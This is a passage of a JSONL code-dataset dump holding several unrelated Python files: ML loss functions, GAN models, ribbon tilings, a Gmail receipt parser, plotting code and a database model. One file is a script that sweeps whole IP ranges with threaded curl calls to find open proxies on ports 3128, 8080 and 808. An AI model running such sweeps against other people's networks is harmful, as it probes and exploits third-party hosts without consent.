print(num)\n","sub_path":"medium/py/LongestPalindromicSubstring.py","file_name":"LongestPalindromicSubstring.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"160534431","text":"from sqlalchemy import Integer, Column, ForeignKey, Boolean, DateTime\nfrom database import db\nfrom sqlalchemy.sql.expression import func\n\n\nclass Subscription(db.Model):\n __tablename__ = 'share_subscriber'\n id = Column(Integer, primary_key=True)\n user_id = Column(Integer, ForeignKey('share_user.id'))\n group_id = Column(Integer, ForeignKey('share_group.id'))\n approved = Column(Boolean, default=False)\n date = Column(DateTime, default=func.now())\n group = db.relationship('Group', backref=\"subscribed\")\n user = db.relationship('User', backref=\"subscribed\")\n\n def __init__(self, user=None):\n self.user_id = user.id\n","sub_path":"models/subscriber.py","file_name":"subscriber.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"404654401","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport time\n\n\n\ndef cae_h_loss(x, recover, Jac, Jac_noise, lambd, gamma):\n criterion = nn.MSELoss()\n loss1=criterion(recover, x)\n\n loss2 = torch.mean(torch.sum(torch.pow(Jac,2), dim=[1,2]))\n loss3 = torch.mean(torch.sum(torch.pow(Jac - Jac_noise,2),dim=[1,2]))\n loss = loss1 + (lambd*loss2) + gamma*loss3\n return loss, loss1\n\ndef alter_loss(x, recover, Jac, Jac_noise, Jac_z, b, lambd, gamma):\n criterion = nn.MSELoss()\n loss1 = criterion(recover, x)\n loss2 = torch.mean(torch.sum(torch.pow(Jac - Jac_noise, 2), dim = [1, 2]))\n loss3 = torch.mean(torch.sum(torch.pow(Jac_z - b, 2), dim = [1 ,2]))\n loss = loss1 + (gamma * loss2) + lambd * loss3\n return loss, loss1\n\n\ndef MTC_loss(pred, y, pred_prime, x_prime, u, beta, batch_size):\n grad_output=torch.ones(batch_size).cuda()\n criterion = nn.CrossEntropyLoss()\n loss1=criterion(pred, y)\n\n dodx=[] \n for i in range(pred_prime.shape[1]):\n dodx.append(torch.autograd.grad(outputs=pred_prime[:,i], inputs=x_prime, grad_outputs=grad_output, retain_graph=True, create_graph=True)[0])\n dodx=torch.reshape(torch.cat(dodx,1),[batch_size, pred_prime.shape[1], x_prime.shape[1]])\n \n omega = torch.mean(torch.sum(torch.pow(torch.matmul(dodx, u),2), dim=[1,2]))\n \n loss=loss1 + beta * omega\n return loss, loss1\n \ndef svd_product(A, U, S, VH): # A*U*S*VH\n Q, R = torch.qr(torch.matmul(A.cuda(), U.cuda()).cpu())\n u_temp, s_temp, vh_temp = torch.svd(torch.matmul(R.cuda(), torch.diag(S.cuda())).cpu())\n return [torch.matmul(Q.cuda(), u_temp.cuda()), s_temp.cuda(), torch.matmul(vh_temp.T.cuda(),VH.cuda())]\n\ndef svd_drei(A, B, C, D): # A*B*C*D\n U_temp, S_temp, VH_temp = torch.svd(torch.matmul(C, D).cpu())\n return svd_product(torch.matmul(A, B), U_temp.cuda(), S_temp.cuda(), VH_temp.T.cuda())\n\ndef calculate_B_alter(model, train_z_loader, k, batch_size, optimized_SVD):\n Bx=[] \n with torch.no_grad():\n for step, (z, _) in enumerate(train_z_loader):\n z = z.view(batch_size, -1).cuda()\n\n if optimized_SVD:\n Bx_batch = []\n _, code_data_z, A_matrix, B_matrix, C_matrix = model(z, calculate_jacobian = False, calculate_DREI = True)\n U=[]\n S=[]\n VH=[]\n W4 = model.W4.clone()\n for i in range(len(A_matrix)):\n u, s, vh = svd_drei(W4, C_matrix[i], B_matrix[i], A_matrix[i])\n U.append(u)\n S.append(s)\n VH.append(vh)\n U = torch.stack(U)\n S = torch.stack(S)\n VH = torch.stack(VH)\n Bx_batch = torch.matmul(U[:, :, :k], torch.matmul(torch.diag_embed(S)[:, :k, :k], VH[:, :k, :]))\n else:\n _, code_data_z, Jac_z = model(z, calculate_jacobian = True)\n U, S, V = torch.svd(Jac_z.cpu())\n Bx_batch = torch.matmul(U[:, :, :k], torch.matmul(torch.diag_embed(S)[:, :k, :k], torch.transpose(V[:, :, :k],1,2)))\n\n Bx.append(Bx_batch)\n return Bx\n \ndef calculate_singular_vectors_B(model, train_loader, dM, batch_size):\n U=[]\n X=[]\n i=0\n with torch.no_grad():\n for step, (x, _) in enumerate(train_loader):\n if step%100 == 0:\n x = x.view(batch_size, -1).cuda()\n x.requires_grad_(True)\n recover, code_data, Jac = model(x, calculate_jacobian = True)\n u, _, _ = torch.svd(torch.transpose(Jac.cpu(), 1, 2))\n U.append(u[:,:,:dM].cpu())\n x.requires_grad_(False)\n X.append(x)\n i=i+1\n if step%100 == 0:\n print(\"calculating U:\", step)\n U = torch.stack(U)\n X = torch.stack(X)\n return X, U, i\n\n\n\ndef sigmoid(x):\n return 1. / (1+np.exp(-x))\n\n\ndef euclidean_distance(img_a, img_b):\n '''Finds the distance between 2 images: img_a, img_b'''\n # element-wise computations are automatically handled by numpy\n return np.sum((img_a - img_b) ** 2)\n\n\ndef knn_distances(train_images, train_labels, test_image, n_top):\n '''\n returns n_top distances and labels for given test_image\n '''\n # distances contains tuples of (distance, label)\n distances = [(euclidean_distance(test_image, image), label)\n for (image, label) in zip(train_images, train_labels)]\n # sort the distances list by distances\n\n compare = lambda distance: distance[0]\n by_distances = sorted(distances, key=compare)\n top_n_labels = [label for (_, label) in by_distances[:n_top]]\n return top_n_labels","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"394527570","text":"'''\nCreated on Jan 23, 2021\n\n@author: vladislavkargin\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport rgs.ribbons.Ribbon as rb\nimport rgs.ribbons.Tiling as tl\n\n\ndef flip(A, B):\n ''' check if two ribbons A and B are flippable. If yes, returns (True, A', B')\n where A', B' is a flipped pair, if no, returns (False, A, B)\n In this version, ribbons are required to be of the same length, \n although in principle, they can be define for ribbons of different \n length as well'''\n \n n = len(A.shape)\n if len(B.shape) != n:\n return (False, A, B)\n \n lA = A.x + A.y \n lB = B.x + B.y\n if lA == lB:\n return (False, A, B) #the tiles at the same level can't be flipped\n \n if lA < lB:\n X = rb.Ribbon(A.x, A.y, A.shape) \n Y = rb.Ribbon(B.x, B.y, B.shape)\n else:\n Y = rb.Ribbon(A.x, A.y, A.shape) \n X = rb.Ribbon(B.x, B.y, B.shape)\n \n for i in range(n):\n s, t = X.squares[i]\n if X.shape[i] == 0: #instead, go up\n t = t + 1\n for j in range(n - i - 1):\n #print(B.squares[j])\n #print((s,t))\n if Y.squares[j] != (s, t):\n #print(\"Breaking\")\n break\n else:\n if X.shape[i + j + 1] == 0:\n s = s + 1\n else: \n t = t + 1\n if Y.shape[n - i - 1] == 0:\n print(i)\n A1 = rb.Ribbon(X.x, X.y, X.shape[:i] + [1] + X.shape[i+1:])\n B1 = rb.Ribbon(X.squares[i + 1][0], X.squares[i+1][1], Y.shape[:(n-i -1)] + [1] + Y.shape[(n-i):])\n return (True, A1, B1)\n else: #X.shape is 1 instead, go right\n s = s + 1\n for j in range(n - i - 1):\n #print(B.squares[j])\n #print((s,t))\n if Y.squares[j] != (s, t):\n #print(\"Breaking\")\n break\n else:\n if X.shape[i + j + 1] == 0:\n s = s + 1\n else: \n t = t + 1\n if Y.shape[n - i - 1] == 1:\n #print(i)\n A1 = rb.Ribbon(X.x, X.y, X.shape[:i] + [0] + X.shape[i+1:])\n B1 = rb.Ribbon(X.squares[i + 1][0], X.squares[i+1][1], Y.shape[:(n-i -1)] + [0] + Y.shape[(n-i):])\n return (True, A1, B1)\n \n return (False, A, B)\n \n \n \n #check what happens if we will switch from 0 to 1 or from 1 to 0 \n #in one of the shape locations for ribbon A\n \n\n #It looks that there are 4 different cub-cases:\n #shape of A = shape of B\n #beginning of A = end of B\n #beginning of A = end of B\n # remaining case. (which is always non-flippable)\n \n \n\ndef fibSequence(n, seed = None):\n ''' returns a random increasing sequence of indices (i1, i2, ..., ik)\n such that the indices are between 0 and n-1 and no two indices are \n adjacent. The number of such sequence is Fibonacci number. The function \n uses recursion\n '''\n if seed != None:\n np.random.seed(seed)\n seq = []\n if n <= 0:\n return seq\n else:\n x = np.random.randint(2)\n if x == 1: #n-1 is included\n seq = fibSequence(n - 2) + [n - 1]\n else:\n seq = fibSequence(n - 1)\n return seq\n\ndef getSquarePairs(sx0, sy0, dir0, sequence):\n ''' generates pairs of squares which should be included in a Stanley's \n tiling. \n parameters: s0x and s0y - coordinates of the original square\n dir0 - direction of original step : 'Down' or 'Right'\n sequence: sequence that regulates, which pairs should be included. '''\n sx = sx0\n sy = sy0\n direction = dir0\n #print(sequence)\n pairs = []\n if sequence == []:\n return pairs\n M = max(sequence) + 1\n for i in range(M):\n if i in sequence:\n if direction == 'Right':\n pairs = pairs + [(sx, sy, 'Right')]\n #print(sx, sy, 'Right') \n else:\n pairs = pairs + [(sx, sy - 1, 'Up')]\n #print(sx, sy - 1, 'Up')\n if direction == 'Right':\n sx = sx + 1\n sy = sy\n direction = \"Down\"\n else:\n sx = sx\n sy = sy - 1\n direction = \"Right\"\n return pairs\n \ndef pairsForRectangle(M, N, seed = None):\n '''gets all marked pairs for an M-by-N rectangle. It is assumed that N >= M'''\n if seed != None:\n np.random.seed(seed)\n all_pairs =[]\n for i in range(M - 1):\n pairs = getSquarePairs(0, i + 1 , \"Down\", sequence = fibSequence(2 * i + 2))\n all_pairs = all_pairs + pairs\n for i in range (N - M):\n pairs = getSquarePairs(i, M - 1 , \"Right\", sequence = fibSequence(2 * M - 1))\n all_pairs = all_pairs + pairs\n for i in range (M - 1):\n pairs = getSquarePairs(N - M + i, M - 1 , \"Right\", sequence = fibSequence(2 * M - 2 - 2 * i))\n all_pairs = all_pairs + pairs\n return all_pairs\n\ndef tilingFromPairs(M, N, pairs):\n ''' creates a tiling of an M-by-N rectangle from a collection of pairs '''\n marked = np.zeros((N,M)) #contains information if a particular cell is in the tiling\n ribbons = []\n pairs_set = set(pairs)\n for y0 in range(M):\n for x0 in range(N):\n if marked[x0, y0] == 0: #this cell is not yet explored.\n marked[x0, y0] = 1\n x = x0\n y = y0\n shape = []\n while (x, y, 'Up') in pairs_set or (x, y, 'Right') in pairs_set:\n #print(\"x = \", x, \"y = \", y)\n if (x, y, 'Up') in pairs_set:\n shape.append(1)\n y = y + 1\n marked[x, y] = 1\n else:\n shape.append(0)\n x = x + 1\n marked[x, y] = 1\n ribbon = rb.Ribbon(x0, y0, shape)\n ribbons.append(ribbon)\n tiling = tl.Tiling(ribbons)\n return tiling\n \n \n \n \ndef drawPairs(M, N, pairs):\n '''draws all marked pairs for M-by-N rectangle'''\n fig, ax = plt.subplots()\n ax.set_xlim(0, N + 1)\n ax.set_ylim(0, M + 1)\n for (sx, sy, dr) in pairs:\n if dr == \"Up\":\n line = plt.Line2D((sx + 0.5, sx + 0.5),(sy + 0.5, sy + 1.5), color = 'black')\n ax.add_line(line)\n else: \n line = plt.Line2D((sx + 0.5, sx + 1.5),(sy + 0.5, sy + 0.5), color = 'black')\n ax.add_line(line)\n return fig, ax \n\ndef randomStanleyTiling(M, N):\n ''' creates a random ribbon tiling of an M-by-N rectangle using Stanley's \n algorithm'''\n all_pairs = pairsForRectangle(M, N)\n tiling = tilingFromPairs(M,N, all_pairs)\n return tiling\n\n\ndef lengthCounts(tiling):\n '''creates a dictionary that measures lengths of the ribbons in the tiling. \n Example: {1:3, 2:5, 7:1} means that there are three 1-ribbons, five two ribbons and 1 7-ribbon.'''\n \n length_counts = {}\n for ribbon in tiling.ribbons:\n l = len(ribbon.shape)\n if l + 1 not in length_counts.keys(): \n length_counts[l + 1] = 1\n else:\n length_counts[l + 1] = length_counts[l + 1] + 1\n return length_counts \n \n\n'''\nFor testing methods\n'''\ndef main():\n \n \n ''' some test for functions used in generating Stanley's tilings\n '''\n '''\n n = 20\n seed = 123\n seq = fibSequence(n, seed = seed)\n print(seq)\n \n pairs = getSquarePairs(10, 10, 'Right', seq)\n print(pairs)\n .'''\n \n \n '''some illustration for the Stanley tilings\n '''\n '''\n M= 9\n N = 9\n all_pairs = pairsForRectangle(M, N)\n #print(\"All pairs = \", all_pairs)\n drawPairs(M, N, all_pairs)\n \n tiling = tilingFromPairs(M,N, all_pairs)\n #print(tiling)\n tiling.draw(M, N, colorType = \"ShapePosition\")\n length_counts = lengthCounts(tiling)\n print('Length Counts = ', length_counts)\n '''\n \n ''' This is a couple of tests for the flip function \n (seems to work OK)\n '''\n _, ax = plt.subplots(2, 2)\n \n A = rb.Ribbon(0, 0, [0, 0, 0, 1, 1, 0, 0, 1])\n B = rb.Ribbon(2, 1, [1, 1, 0, 0, 1, 0, 0, 0])\n \n tiling = tl.Tiling([A, B]) \n print(tiling)\n tiling.draw(10, 10, ax = ax[0][0])\n \n flag, A1, B1 = flip(A,B)\n print(flag)\n print(A1)\n print(B1)\n tiling = tl.Tiling([A1, B1])\n tiling.draw(10, 10, ax = ax[0][1])\n \n \n C = rb.Ribbon(0, 0, [1, 1, 1, 1, 0])\n D = rb.Ribbon(1, 2, [1, 0, 1, 1, 0])\n tiling = tl.Tiling([C, D]) \n print(tiling)\n tiling.draw(10, 10, ax = ax[1][0])\n \n flag, C1, D1 = flip(C,D)\n print(flag)\n print(C1)\n print(D1)\n tiling = tl.Tiling([C1, D1])\n tiling.draw(10, 10, ax = ax[1][1])\n \n \n \n _, ax = plt.subplots(2, 2)\n A = rb.Ribbon(0, 0, [0, 1])\n B = rb.Ribbon(0, 1, [1, 0])\n \n tiling = tl.Tiling([A, B]) \n print(tiling)\n tiling.draw(10, 10, ax = ax[0][0])\n \n flag, A1, B1 = flip(B,A)\n print(flag)\n print(A1)\n print(B1)\n tiling = tl.Tiling([A1, B1])\n tiling.draw(10, 10, ax = ax[0][1])\n \n A = rb.Ribbon(0, 0, [0, 0])\n B = rb.Ribbon(0, 1, [0, 0])\n \n tiling = tl.Tiling([A, B]) \n print(tiling)\n tiling.draw(10, 10, ax = ax[1][0])\n \n flag, A1, B1 = flip(B,A)\n print(flag)\n print(A1)\n print(B1)\n tiling = tl.Tiling([A1, B1])\n tiling.draw(10, 10, ax = ax[1][1])\n\n \n plt.show()\n\nif __name__ == '__main__':\n main()","sub_path":"rgs/ribbons/Utility.py","file_name":"Utility.py","file_ext":"py","file_size_in_byte":9703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"422073701","text":"import os\nimport struct, socket\nimport Queue\nimport threading\nimport urllib2\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\nnew_dict = dict()\n\n#store all the current candidates in a map\nmyfile=open(\"/Users/mr.Robot/Desktop/PROXY_CHECKER/candidates.txt\")\nread=myfile.read()\nread=read.split()\nfor line in read:\n\tnew_dict[line] = 1\nmyfile.close()\n\n#put all the proxy ranges\nmyfile = open(\"/Users/mr.Robot/Desktop/PROXY_CHECKER/proxy_ranges.txt\")\nread = myfile.read()\nread = read.split()\nmyfile.close()\n\n\nresponse_url = \"https://www.google.com/humans.txt\"\ngoogle_return_value=\"Google is built by a large team of engineers, designers, researchers, robots, and others in many different sites across the globe. It is updated continuously, and built with more tools and technologies than we can shake a stick at. If you'd like to help us out, see google.com/careers.\\n\"\nl=[]\nthreads=[]\n\ndef inc(str):\n\tip2int = lambda ipstr: struct.unpack('!I', socket.inet_aton(ipstr))[0]\n\tval = ip2int(str) + 1\n\tint2ip = lambda n: socket.inet_ntoa(struct.pack('!I', n))\n\trev = int2ip(val)\n\t# ans = lambda n: socket.inet_ntoa(struct.pack('!I', n))\n\treturn rev\n\nmyfile = open(\"/Users/mr.Robot/Desktop/PROXY_CHECKER/full_list.txt\",'w')\n\nfor line in read:\n\tstr = line.split(\"-\")\n\tplace = str[0]\n\tstarting_add = str[1]\n\tending_add = str[2]\n\tprint(place + starting_add + ending_add)\n\ttemp = starting_add\n\twhile(temp!=ending_add):\n\t\tmyfile.write(temp+\":3128\\n\")\n\t\tmyfile.write(temp+\":8080\\n\")\n\t\tmyfile.write(temp+\":808\\n\")\n\t\ttemp = inc(temp)\n\nmyfile.close()\n\nmyfile = open(\"/Users/mr.Robot/Desktop/PROXY_CHECKER/full_list.txt\")\nread = myfile.read()\nurls = read.split()\nmyfile.close()\n\n\ndef CheckProxy(s):\n comm = \"curl -s --connect-timeout 10 --proxy \" + \"http://\" + s + \" \" + response_url\n var = os.popen(comm).read()\n if(var==google_return_value):\n print(s)\n l.append(s)\n\n\nfor u in urls:\n t = threading.Thread(target=CheckProxy,args=(u,))\n t.Daemon=False\n threads.append(t)\n\nfor x in threads:\n\tx.start()\n\nfor x in threads:\n\tx.join()\n\n#Write all the new candidates into candidates.txt\nwrite_into_candidates = open(\"/Users/mr.Robot/Desktop/PROXY_CHECKER/candidates.txt\",'a')\nfor x in l:\n\tif not new_dict.has_key(x):\n\t\twrite_into_candidates.write(x+\"\\n\")\nwrite_into_candidates.close()\n","sub_path":"check_all_possible.py","file_name":"check_all_possible.py","file_ext":"py","file_size_in_byte":2444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"592648480","text":"from __future__ import print_function\nimport pickle\nimport base64\nimport os.path\nimport base64\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nimport html2text\nfrom datetime import datetime\nimport re\n\n# If modifying these scopes, delete the file token.pickle.\nSCOPES = ['https://www.googleapis.com/auth/gmail.readonly']\n\n#master_regex = r\"([a-zA-Z\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)(\\n?:Sold by[a-zA-Z\\ &\\d\\(\\)\\.:]+)?[\\ \\n\\r]*£?(\\d+\\.\\d{2})\\D\"\n#master_regex = r\"([a-zA-Z\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)[\\ \\n\\r]+£?(\\d+\\.\\d{2})\\D\"\n#master_regex = r\"([a-zA-Z\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)(\\n?Sold by[a-zA-Z\\ &\\d\\(\\)\\.:]+)?[\\ \\n\\r]*£?(\\d+\\.\\d{2})\\D\"\n#master_regex = r\"(\\||\\*|^)([a-zA-Z\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)(\\n[a-zA-Z\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)*[\\ \\n\\r\\|\\-]*-?£?(\\d+\\.\\d{2})\\D\"\n#master_regex = r\"([a-zA-Z][a-zA-Z\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)(\\n[a-zA-Z\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)*[\\|\\-\\ \\n\\r]*-?£?(\\d+\\.\\d{2})\\D\"\n#master_regex = r\"([a-zA-ZÀ-ú][a-zA-ZÀ-ú\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)((?:\\n)[a-zA-ZÀ-ú\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)*[\\|\\-\\ \\n\\r]*-?£?(\\d+\\.\\d{2})\\D\"\nmaster_regex = r\"([a-zA-ZÀ-ú®\\'\\\"][a-zA-ZÀ-ú®\\'\\\"\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)((?:\\n)[a-zA-ZÀ-ú®\\'\\\"\\ &\\d\\(\\)\\.:\\]\\[\\-\\,]+)*[\\|\\-\\ \\n\\r]*-?£?(\\d+\\.\\d{2})\\D\"\n\ndef get_matching_emails(service, before, after, subject):\n q = \"before:{before} after:{after} subject:{subject}\".format(before=before, after=after, subject=subject)\n response = service.users().messages().list(userId='me', q=q).execute()\n return list(map(lambda x: x[\"id\"], response[\"messages\"]))\n\ndef convert_to_plain_text(email):\n print(email[\"payload\"].keys())\n for x in email[\"payload\"][\"parts\"]:\n if (x[\"mimeType\"] == \"text/html\"):\n html = base64.urlsafe_b64decode(x[\"body\"][\"data\"])\n h = html2text.HTML2Text()\n h.ignore_links = True\n h.ignore_images = True\n #h.ignore_tables = True\n h.ignore_emphasis = True\n return h.handle(html.decode('UTF-8'))\n\ndef get_email_id_by_query(service, query):\n response = service.users().messages().list(userId='me', q=query).execute()\n messages = []\n if 'messages' in response:\n messages.extend(response['messages'])\n return messages[0]['id']\n\ndef get_email_by_id(service, message_id):\n return service.users().messages().get(userId='me', id=message_id).execute()\n\ndef get_date(email):\n return datetime.utcfromtimestamp(int(email[\"internalDate\"]) / 1000)\n\ndef get_data(data):\n for k in re.findall(master_regex, data, re.MULTILINE):\n pass#print(k)\n reading_items = True\n final_data = []\n vat = 0\n total = 0\n for k in re.findall(master_regex, data, re.MULTILINE):\n desc = k[0].rstrip()\n price = int(float(k[2]) * 100)\n if \"Item Subtotal:\" in desc or \"Total\" in desc:\n reading_items = False\n elif 'VAT' in desc and 'Total' not in desc:\n vat = price\n elif \"Postage\" in desc and price > 0:\n final_data.append(('Postage & Packing', 1, price))\n elif desc and \"Postage & Packing:\" not in desc and reading_items:\n quantity = 1\n final_data.append((desc, quantity, price)) \n total += price\n elif 'gift card' in desc.lower() or 'promotion' in desc.lower():\n final_data.append(('Discount Applied', 1, -abs(price)))\n total -= abs(price)\n return (final_data, vat, total)\n\ndef get_service():\n creds = None\n # The file token.pickle stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists('token.pickle'):\n with open('token.pickle', 'rb') as token:\n creds = pickle.load(token)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n 'credentials.json', SCOPES)\n creds = flow.run_local_server()\n # Save the credentials for the next run\n with open('token.pickle', 'wb') as token:\n pickle.dump(creds, token)\n\n return build('gmail', 'v1', credentials=creds)\n\ndef main():\n \"\"\"Shows basic usage of the Gmail API.\n Lists the user's Gmail labels.\n \"\"\"\n service = get_service()\n \n #Test gmail ids\n amazon_id1 = 'rfc822msgid:01020168438850f4-ffad1b13-6154-4f65-8e71-7c18b615503f-000000@eu-west-1.amazonses.com'\n amazon_id2 = 'rfc822msgid:010201677e7bbc72-42a07a16-9e03-476e-80ca-8bb3dda11a86-000000@eu-west-1.amazonses.com'\n amazon_id3 = 'rfc822msgid:01020163186f0a90-7644ce96-1906-4565-9ee6-60115b6c96e3-000000@eu-west-1.amazonses.com'\n amazon_id4 = 'rfc822msgid:0102016622edbdf6-d0e91758-ec90-43a9-bea1-d0e05faeac1e-000000@eu-west-1.amazonses.com'\n amazon_id5 = 'rfc822msgid:0102016030c68d3b-ec689bf9-2fc9-4883-8ffa-206f1f893375-000000@eu-west-1.amazonses.com'\n amazon_id6_giftcard = 'rfc822msgid:010201630da42e70-7d1fc795-1579-4067-bfa3-86f764a39119-000000@eu-west-1.amazonses.com'\n google_play_id1 = 'rfc822msgid:a685cf0371b7dafc083015faa60953cc0d0ac6fd-10044049-100240651@google.com'\n google_play_id2 = 'rfc822msgid:5f665b9f0fdc8072.1532187432836.100240651.10044049.en-GB.589fc1be1ae4f1e4@google.com'\n google_play_id3 = 'rfc822msgid:5f665b9f0fdc8072.1523093171606.100240651.10044049.en-GB.45840e70707e3b8@google.com'\n google_play_id4 = 'rfc822msgid:000000000000c207b805789c8ce7@google.com'\n deliveroo_id1 = 'rfc822msgid:5afc7a1e51293_183fddfc3ec8d4273690@4320d7536864.mail'\n deliveroo_id2 = 'rfc822msgid:5babb9e861414_143fe11e20019049511e@5346a9355ef5.mail'\n query = amazon_id6_giftcard\n\n message_id = get_email_id_by_query(service, query)\n z = get_email_by_id(service, message_id)\n print(get_matching_emails(service, \"2019/01/20\", \"2019/01/01\", \"Monzo\"))\n \n data = convert_to_plain_text(z) \n print(data)\n print(get_date(z))\n\n print(\"---****---\")\n\n print(get_data(data))\n\n results = service.users().labels().list(userId='me').execute()\n labels = results.get('labels', [])\n \n if not labels:\n print('No labels found.')\n else:\n print('Labels:')\n for label in labels:\n pass\n #print(label['name'])\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"quickstart.py","file_name":"quickstart.py","file_ext":"py","file_size_in_byte":6477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"514159559","text":"from pylab import *;\n\nx = arange(0,0.45,0.001)\ny1 = 1/(x+0.8)\ny2 = 1/(1.25-x)\n\nplot(x,y1,x,y2)\nxlim([-0.05,0.5])\nylim([0.7,1.35]) \n\nframe = gca()\nframe.axes.get_xaxis().set_ticks([])\nframe.axes.spines['top'].set_color('none')\nframe.axes.spines['right'].set_color('none')\nframe.axes.get_yaxis().set_ticks([])\nframe.axes.set_title(\"Emissions Market\")\n\nylabel(\"Price (eg. $/kg)\")\nxlabel(\"Quantity (eg. kg)\")\ntext(0.35,1.05, 'Marginal Cost')\ntext(0.03, 1.25, 'Marginal Benefits')\nshow()\n","sub_path":"scc.py","file_name":"scc.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"308579086","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom models.basic_module import GeneratorSNResidualBlock, DiscriminatorSNResidualBlock, DiscriminatorOptimizedBlock\nfrom models.basic_module import SNEmbedding, SelfAttention, ConditionalBatchNorm2d, SNLinear, SNConv2d\n\nclass Generator(nn.Module):\n def __init__(self, enable_conditional=False, use_self_attention=False):\n super().__init__()\n n_classes = 10 if enable_conditional else 0\n self.dense = SNLinear(128, 4 * 4 * 256) # 4x4\n self.block1 = GeneratorSNResidualBlock(256, 256, 2, n_classes=n_classes) # 8x8\n self.atten = SelfAttention(256) if use_self_attention else None # feat 8 \n self.block2 = GeneratorSNResidualBlock(256, 256, 2, n_classes=n_classes) # 16x16\n self.block3 = GeneratorSNResidualBlock(256, 256, 2, n_classes=n_classes) # 32x32\n self.bn_out = ConditionalBatchNorm2d(256, n_classes) if enable_conditional else nn.BatchNorm2d(256)\n self.out_conv = nn.Sequential(\n nn.ReLU(True),\n SNConv2d(256, 3, kernel_size=3, padding=1),\n nn.Tanh()\n )\n\n def forward(self, inputs, y=None):\n x = self.dense(inputs).view(inputs.size(0), 256, 4, 4)\n x = self.block1(x, y)\n if self.atten is not None: x = self.atten(x) \n x = self.block3(self.block2(x, y), y)\n x = self.bn_out(x, y) if y is not None else self.bn_out(x)\n return self.out_conv(x)\n\nclass Discriminator(nn.Module):\n def __init__(self, enable_conditional=False, use_self_attention=False):\n super().__init__()\n n_classes = 10 if enable_conditional else 0\n self.optim_block = DiscriminatorOptimizedBlock(3, 128) # 16x16\n self.block1 = DiscriminatorSNResidualBlock(128, 128, 2) # 8x8\n self.atten = SelfAttention(128) if use_self_attention else None # 8x8\n self.block2 = DiscriminatorSNResidualBlock(128, 128, 1)\n self.block3 = DiscriminatorSNResidualBlock(128, 128, 1)\n self.dense = SNLinear(128, 1)\n if n_classes > 0:\n self.sn_embedding = SNEmbedding(n_classes, 128)\n else:\n self.sn_embedding = None\n\n def forward(self, inputs, y=None):\n x = self.block1(self.optim_block(inputs))\n if self.atten is not None: x = self.atten(x)\n x = self.block3(self.block2(x))\n x = F.relu(x)\n features = torch.sum(x, dim=(2,3)) # global sum pooling\n x = self.dense(features)\n if self.sn_embedding is not None:\n x = self.sn_embedding(features, x, y)\n return x\n","sub_path":"models/resnet_size_32.py","file_name":"resnet_size_32.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"483803000","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /home/user/code/pyutil/pyutil/weakutil.py\n# Compiled at: 2018-01-06 14:43:43\nimport warnings\nfrom weakref import ref\nfrom assertutil import precondition\n\nclass WeakMethod:\n \"\"\" Wraps a function or, more importantly, a bound method, in\n a way that allows a bound method's object to be GC'd \"\"\"\n\n def __init__(self, fn, callback=None):\n warnings.warn('deprecated', DeprecationWarning)\n precondition(hasattr(fn, 'im_self'), 'fn is required to be a bound method.')\n self._cleanupcallback = callback\n self._obj = ref(fn.im_self, self.call_cleanup_cb)\n self._meth = fn.im_func\n\n def __call__(self, *args, **kws):\n s = self._obj()\n if s:\n return self._meth(s, *args, **kws)\n\n def __repr__(self):\n return '<%s %s %s>' % (self.__class__.__name__, self._obj, self._meth)\n\n def call_cleanup_cb(self, thedeadweakref):\n if self._cleanupcallback is not None:\n self._cleanupcallback(self, thedeadweakref)\n return\n\n\ndef factory_function_name_here(o):\n if hasattr(o, 'im_self'):\n return WeakMethod(o)\n else:\n return o","sub_path":"pycfiles/pyutil-3.3.0.tar/weakutil.py","file_name":"weakutil.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"466296262","text":"# -*- coding: utf-8 -*-\n# @Time : 19-4-2\n# @Author : hay\nfrom django_rq import job\nfrom research.data.researchmatch import ResearchMatch\nfrom core.redisHelper import RedisHelper\nfrom jobs import models as job_model\n\n@job\ndef runtask(emailQuertysetlist, *args, **kwargs):\n ResearchTeacher(emailQuertysetlist)\n\n@job\ndef runtaskpl(page, limit):\n 